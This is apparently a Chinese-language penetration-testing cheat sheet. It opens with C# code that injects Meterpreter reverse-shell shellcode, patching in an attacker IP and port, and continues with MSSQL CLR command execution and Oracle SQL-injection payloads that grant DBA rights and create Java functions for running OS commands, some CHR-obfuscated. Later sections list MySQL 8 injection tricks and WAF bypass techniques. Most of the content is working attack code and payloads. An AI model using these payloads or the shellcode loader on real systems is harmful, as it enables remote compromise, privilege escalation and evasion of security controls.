using System;using System.IO;using System.Runtime.InteropServices;namespace Meterpreter_Test2{ class Program { static void Main(string[] args) { //RunMeterpreter("192.168.139.129", "4444"); //var str = Convert.ToString(Console.ReadLine()); } public static void RunMeterpreter(string ip, string port) { try { byte[] buf = new byte[323] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0xc0, 0xa8, 0x8b, 0x81, 0x68, 0x02, 0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56, 0x57, 0x68, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x4e, 0x08, 0x75, 0xec, 0xe8, 0x61, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7e, 0x36, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a, 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00, 0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7d, 0x22, 0x58, 0x68, 0x00, 0x40, 0x00, 0x00, 0x6a, 0x00, 0x50, 0x68, 0x0b, 0x2f, 0x0f, 0x30, 0xff, 0xd5, 0x57, 0x68, 0x75, 0x6e, 0x4d, 0x61, 0xff, 0xd5, 0x5e, 0x5e, 0xff, 0x0c, 0x24, 0xe9, 0x71, 0xff, 0xff, 0xff, 0x01, 0xc3, 0x29, 0xc6, 0x75, 0xc7, 0xc3 }; var ipOctetSplit = ip.Split('.'); byte octByte1 = Convert.ToByte(ipOctetSplit[0]); byte octByte2 = Convert.ToByte(ipOctetSplit[1]); byte octByte3 = Convert.ToByte(ipOctetSplit[2]); byte octByte4 = Convert.ToByte(ipOctetSplit[3]); int inputPort = Int32.Parse(port); byte port1Byte = 0x00; byte port2Byte = 0x00; if (inputPort > 256) { int portOct1 = inputPort / 256; int portOct2 = portOct1 * 256; int portOct3 = inputPort - portOct2; int portoct1Calc = portOct1 * 256 + portOct3; if (inputPort == portoct1Calc) { port1Byte = Convert.ToByte(portOct1); port2Byte = Convert.ToByte(portOct3); } } else { port1Byte = 0x00; port2Byte = Convert.ToByte(inputPort); } buf[174] = octByte1; buf[175] = octByte2; buf[176] = octByte3; buf[177] = octByte4; buf[181] = port1Byte; buf[182] = port2Byte; UInt32 funcAddr = VirtualAlloc(0, (UInt32)buf.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(buf, 0, (IntPtr)(funcAddr), buf.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } catch (Exception e) { Console.WriteLine(e); throw; } } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds); }}
生成
右鍵-新建程序集
選擇無限制
數據庫中執行
CREATE PROCEDURE [dbo].[取個名]@cmd NVARCHAR (MAX)AS EXTERNAL NAME [cli].[StoredProcedures].[取個名]go
然后執行exec dbo.取個名
Oracle篇
命令執行
1. ORACLE DATABASE 10G ENTERPRISE EDITION RELEASE 10.2.0.1.0(該版本虛擬機丟失 之前測試成功)
提升TEST用戶到dba權限 TEST用戶名要大寫
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to TEST''''; END;''; END;--', '', 0, '1', 0) from dual)=0--
創建Java包
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "SasugaOracle" as import java.lang.*;import java.io.*;class SasugaOracle{public static String exec(String cmd){String ret="",tmp;try{BufferedReader reader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));while ((tmp=reader.readLine())!=null){ret+=tmp;}reader.close();}catch(Exception ex){ret=ex.toString();}return ret;}}''''; END;''; END;--', '', 0, '1', 0) from dual)=0--
賦予Java權限
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute''''''''); end;'''';END;'';END;--','SYS',0,'1',0) from dual)=0--
創建runcmd函數
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function runcmd(cmd in varchar2) return varchar2 as language java name ''''''''SasugaOracle.exec(java.lang.String) return java.lang.String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual)=0--
賦予所有人執行權限
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant execute on runcmd to public'''';END;'';END;--','SYS',0,'1',0) from dual)=0--
命令執行
' and 1=2 union select 1,sys.runcmd('cmd /c whoami'),2 from dual--
2. hacking Oracle Database 11.1.0.7.0 以及更低版本(The 11.2.0.1 April CPU patch fixes this)當前用戶有dba權限
賦予SYSTEM Javasyspriv Only DBA can call this function
(select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(begin execute immediate 'grant javasyspriv to SYSTEM';end;)from dual) is not null ' AND (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(103)||CHR(114)||CHR(97)||CHR(110)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(115)||CHR(121)||CHR(115)||CHR(112)||CHR(114)||CHR(105)||CHR(118)||CHR(32)||CHR(116)||CHR(111)||CHR(32)||CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77)||CHR(39)||CHR(59)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual) is not null--
-
創建javaexec包
' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and resolve java source named "javaexec" as import java.lang.*;import java.io.*;public class javaexec{public static String Ecmd(String ss) throws IOException{BufferedReader mR= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(ss).getInputStream()));String st,str="";while ((st=mR.readLine()) != null) str += st+"\n";mR.close();return str;}}'';commit; end;') from dual) where rownum=1--' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(114)||CHR(101)||CHR(115)||CHR(111)||CHR(108)||CHR(118)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(115)||CHR(111)||CHR(117)||CHR(114)||CHR(99)||CHR(101)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(100)||CHR(32)||CHR(34)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(34)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(42)||CHR(59)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(42)||CHR(59)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(99)||CHR(108)||CHR(97)||CHR(115)||CHR(115)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(123)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(115)||CHR(116)||CHR(97)||CHR(116)||CHR(105)||CHR(99)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(115)||CHR(41)||CHR(32)||CHR(116)||CHR(104)||CHR(114)||CHR(111)||CHR(119)||CHR(115)||CHR(32)||CHR(73)||CHR(79)||CHR(69)||CHR(120)||CHR(99)||CHR(101)||CHR(112)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(123)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(32)||CHR(109)||CHR(82)||CHR(61)||CHR(32)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(40)||CHR(41)||CHR(46)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(40)||CHR(115)||CHR(115)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(41)||CHR(41)||CHR(41)||CHR(59)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(116)||CHR(44)||CHR(115)||CHR(116)||CHR(114)||CHR(61)||CHR(34)||CHR(34)||CHR(59)||CHR(119)||CHR(104)||CHR(105)||CHR(108)||CHR(101)||CHR(32)||CHR(40)||CHR(40)||CHR(115)||CHR(116)||CHR(61)||CHR(109)||CHR(82)||CHR(46)||CHR(114)||CHR(101)||CHR(97)||CHR(100)||CHR(76)||CHR(105)||CHR(110)||CHR(101)||CHR(40)||CHR(41)||CHR(41)||CHR(32)||CHR(33)||CHR(61)||CHR(32)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(32)||CHR(43)||CHR(61)||CHR(32)||CHR(115)||CHR(116)||CHR(43)||CHR(34)||CHR(92)||CHR(110)||CHR(34)||CHR(59)||CHR(109)||CHR(82)||CHR(46)||CHR(99)||CHR(108)||CHR(111)||CHR(115)||CHR(101)||CHR(40)||CHR(41)||CHR(59)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(59)||CHR(125)||CHR(125)||CHR(39)||CHR(59)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual)isnotnull--
-
創建javacmd函數
' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function javacmd(p_filename in varchar2)return varchar2 as language java name ''''javaexec.Ecmd(java.lang.String)return String'''';''; commit; end;') from dual) where rownum=1--' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(102)||CHR(117)||CHR(110)||CHR(99)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(112)||CHR(95)||CHR(102)||CHR(105)||CHR(108)||CHR(101)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(105)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(117)||CHR(97)||CHR(103)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(39)||CHR(39)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(46)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(39)||CHR(39)||CHR(59)||CHR(39)||CHR(59)||CHR(32)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual)isnotnull--
-
命令執行
' and 1=2 union select 1,(select javacmd('whoami') from dual),'3' from dual--'||utl_inaddr.get_host_name((select javacmd('ping 8.8.8.8') from dual))||'
注入技巧
Mysql注入小技巧方法
Mysql 常見防護方式及繞過
基本介紹
mysql目前已經發布正式版本8.0.21,在ubuntu20 apt源中集成了mysql 8.0.20。官方表示 MySQL8要比 MySQL 5.7快2倍,支持json,nosql,修改了默認身份驗證,還有其他大量的改進和更快的性能。
1.字符替換
一些小型cms的常見輸入點防護代碼
$str = str_replace("select", "", $str); $str = str_replace("union", "", $str);
上面可以通過雙寫,或者大小寫繞過。於是開發者們換成了:
$str = str_ireplace("select", "***", $str); $str = str_ireplace("union", "***", $str);
此替換很有效,但會嚴重影響正常業務。所以現實中更多的是正則匹配防護。
2.正則匹配
一些waf或比較流行的cms中,我們會看到這樣的防護代碼
$filter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confi rm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,}) \s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|< |\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\(|@{1 ,2}\w+?\s*|\s+?.+?|.*(`|'|\").+(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSER T\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM\s+?|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|FROM\s.?|\(select|\(\s select|\bunion\b|select\s.+?";
其中匹配了各種模式的注入語句,以INSERT\\s+INTO.+?VALUES
為例,可通過insert into xxx select
方式繞過
在日積月累的毒打之后,開發者們慢慢摸索到了門路,注入獲取數據的時候總是需要聯合查詢或者子查詢,於是產生了一些經典的正則,以Discuz的防護代碼_do_query_safe
函數為例
這段代碼的含義是,將要查詢的sql語句除了a-z0-9和幾個有限字符外的其他所有字符都替換為空,然后進行匹配,如果匹配到如unionall
,(select
這樣獲取數據必須用到的代碼,就拒絕執行
但也不是完全沒有繞過的可能,比如同表注入不需要用到子查詢
select * from test where test3=-1 or substr(test2,1,1)=1; select * from test where test3=-1 or substr(test2,1,1)=2;
也可以通過多語句方式執行
set @a:=0x73656c656374292a2966726f6d2074657374; #select * from test prepare s from @a execute s;
或
handler new_ips_final open;
handler new_ips_final read first;
handler handler_table read next;
handler handler_table read next;
handler handler_table read next;
handler new_ips_final close;
#記得養成習慣,隨手關閉
於是有開發者的大佬們想了一個新的方法:語義分析
3.語義分析
通過分析用戶的輸入,如果符合mysql的語法(當然實際的流程復雜的多),就將其識別為sql注入從而進行阻斷。如下圖所示
比如一個簡單的select 1語句,1這個地方即為expr的位置,可以是一個數字,布爾值,也可以是一個函數,也可以這么寫select+1,當所喲可能性都被列出來的時候,就能防止被攻擊者繞過。
這類防護繞過通用的思路就是尋找特殊的語法,導致防護方的語義分析出錯,當錯誤到達一定的閾值時,防護設備便認為這不是一個合法的sql語句從而放行
在1后面加上字符集的處理
select 1 union select '1' collate utf8_bin;
或者
select trim(leading 'x' from 'xxxbarxxx');
找一些特殊的函數,里面包含一些關鍵字,而這些關鍵字不被防護設備的語義分析識別
mysql8 sql語法新特性
Mysql 8出現的新語法。
TABLE Statement
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
作用是直接列出表的全部結果
VALUES Statement
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index
直接列出一行的值,舉例:
values row(1,-2,3),row(5,7,9),row(4,6,8);
values語句和table語句的結果都是表數據,可以這樣
values row(1,-2,3).row(5,7,9),row(4,6,8) union select * from user;
或者
values row(1,-2,3).row(5,7,9),row(4,6,8) union table user;
成功繞過最最關鍵的select
,即不需要select就能獲取數據,不需要多語句執行的情況
利用mysql8 sql注入技巧
假設一個場景,即select無法使用,多語句無法使用,數據庫如下
應用代碼片段如下
$sql = "select * from news where id= '注入點'"
如果數據點有回顯,很容易想到使用table語句:
select * from news2 where id=0 union table user;
這這里,news2和user都是3列,可以直接聯合,實際情況中一些表通常不止3列,但有一些特殊的表常常是3列或4列,如config配置表,通常的列名為id,config_name,config_value,通過上述方式獲取網站關鍵配置信息從而對進一步滲透有所幫助,類似的還有session表,log表等
當上述表不存在時,我們可以常用盲注的手法,需要知道獲取數據的表名和字段數
select * from news2 where id=-1 or (1,'a','u')< (table user limit 1); select * from news2 where id=-1 or (1,'b','u')< (table user limit 1);
小於號會依次比較一行中的每一列大小
於是可以確定user表的第一個字符為a,依次類推
select * from news2 where id=-1 or (1,'ad','u')< (table user limit 1); select * from news2 where id=-1 or (1,'ae','u')< (table user limit 1);
WAF bypass
WAF的種類多種多樣,而過濾與檢測的方法大體上是一致的。WAF不是十全十美的,它們也都有着自身的缺陷。繞過WAF的方式總結下來,有以下這些。
- Web容器的特性
- Web應用層的問題
- WAF自身的問題
- 數據庫的一些特性
WEB容器特性
a. 特性之一
在IIS+ASP的環境中,對於URL請求的參數值中的%,如果和后面的字符構成的字符串在URL編碼表之外,ASP腳本 處理時會將其忽略。
現在假設有如下請求:
http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in
在WAF層,獲取到的id參數值為 1 union all se%lect 1,2,3,4 fro%m adm%in ,此時waf因為 % 的分隔,無法檢測出關鍵字 select from 等
但是因為IIS的特性,id獲取的實際參數就變為 1 union all select 1,2,3,4 from admin ,從而繞過了waf。
這個特性僅在iis+asp上 asp.net並不存在。
b. 特性之二
IIS的Unicode編碼字符
IIS支持Unicode編碼字符的解析,但是某些WAF卻不一定具備這種能力
如下:
http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin
但是IIS后端檢測到了Unicode編碼會將其自動解碼,腳本引擎和數據庫引擎最終獲取到的參數會是: 1 union all select 1,2,3,4 from admin
這種情況需要根據不同的waf進行相應的測試,並不是百發百中。但是對於繞過來說,往往只要一個字符成功繞過 即可達到目的。
c. 特性之三
HPP(HTTP Parameter Pollution): HTTP參數污染
在HTTP協議中是允許同樣名稱的參數出現多次的。例如:
http://zkaq666.com/1.asp?id=123&id=456 這個請求。
根據WAF的不同,一般會同時分開檢查 id=123 和 id=456 ,也有的僅可能取其中一個進行檢測。但是對於 IIS+ASP/ASP.NET來說,它最終獲取到的ID參數的值是123,空格456(asp)或123,456(asp.net)。
所以對於這類過濾規則,攻擊者可以通過:
id=union+select+password/&id=/from+admin來逃避對 select * from 的檢測。因為HPP特性,id的參數值最終會變為:union select password/,/from admin
d. 特性之四
畸形HTTP請求
當向Web服務器發送畸形的,非RFC2616標准的HTTP請求時, Web服務器出於兼容的目的,會盡可能解析畸形HTTP請求。而如果Web服務器的兼容方式與WAF不一致,則可能會出現繞過的情況。下面來看這個POST請求:
如果將請求改為
這個請求包就就變為了: Method不合法,沒有協議字段HTTP/1.1 ,也沒有Host字段。
如果在HTTP/1.1協議中,缺少HOST字段會返回400 bad request。但是某些版本的Apache在處理這個請求時,默認會設置協議為HTTP/0.9 , Host壩默認使用Apache默認的servername ,這種畸形的請求仍然能夠被處理。
如果某些WAF在處理數據的時候嚴格按照GET,POST等方式來獲取數據,或者通過正則來處理數據庫包,就會因為某些版本的Apache寬松的請求方式而被繞過。
WEB應用層缺陷
- 多重編碼
如果Web應用程序能夠接收多重編碼的數據,而WAF只能解碼一層(或少於WEB應用程序能接收的層數)時,WAF會 因為解碼不完全導致防御機制被繞過。
- 多數據來源的問題
如Asp和Asp.NET中的Request對象對於請求數據包的解析過於寬松,沒有依照RFC的標准來,開發人員在編寫代碼 時如果使用如下方式接收用戶傳入的參數
ID=Request(“ID”)
ID=Request.Params(“ID”)
WEB程序可從以下3種途徑獲取到參數ID的參數值:
- 從GET請求中獲取ID的參數值;
- 如果GET請求中沒有ID參數,嘗試從POST的ID參數中獲取參數值;
- 如果GET和POST中都獲取不到ID的參數值,那么從Cookies中的ID參數獲取參數值。
這樣對於某些WAF來說,如果僅檢查了GET或POST的,那么來自Cookie的注入攻擊就無能為力了,更何況來自於 這三種方式組合而成的參數污染的繞過方法呢?
WAF自身缺陷
- 白名單機制
WAF存在某些機制,不處理和攔截白名單中的請求數據:
- 指定IP或IP段的數據。
- 來自於搜索引擎爬蟲的訪問數據。
- 其他特征的數據
如以前某些WAF為了不影響站點的優化,將User-Agent為某些搜索引擎(如谷歌)的請求當作白名單處理,不檢測和攔截。偽造HTTP請求的User-Agent非常容易,只需要將HTTP請求包中的User-Agent修改為谷歌搜索引擎 的User-Agent即可暢通無阻。
- 數據獲取方式存在缺陷
某些WAF無法全面支持GET、POST、Cookie等各類請求包的檢測,當GET請求的攻擊數據包無法繞過時,轉換 成POST可能就繞過去了。或者,POST以 Content-Type: application/x-www-form-urlencoded 無法繞過時,轉換成上傳包格式的Content-Type: multipart/form-data 就能夠繞過去
1、%00截斷 將 %00 進行URL解碼,即是C語言中的NULL字符
如果WAF對獲取到的數據存儲和處理不當,那么 %00 解碼后會將后面的數據截斷,造成后面的數據沒有經過檢測。
